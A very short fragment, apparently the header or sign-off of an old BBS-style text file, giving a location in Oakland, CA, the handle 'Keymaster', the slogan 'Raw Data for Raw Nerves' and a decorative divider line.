Oakland, CA Keymaster "Raw Data for Raw Nerves" X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X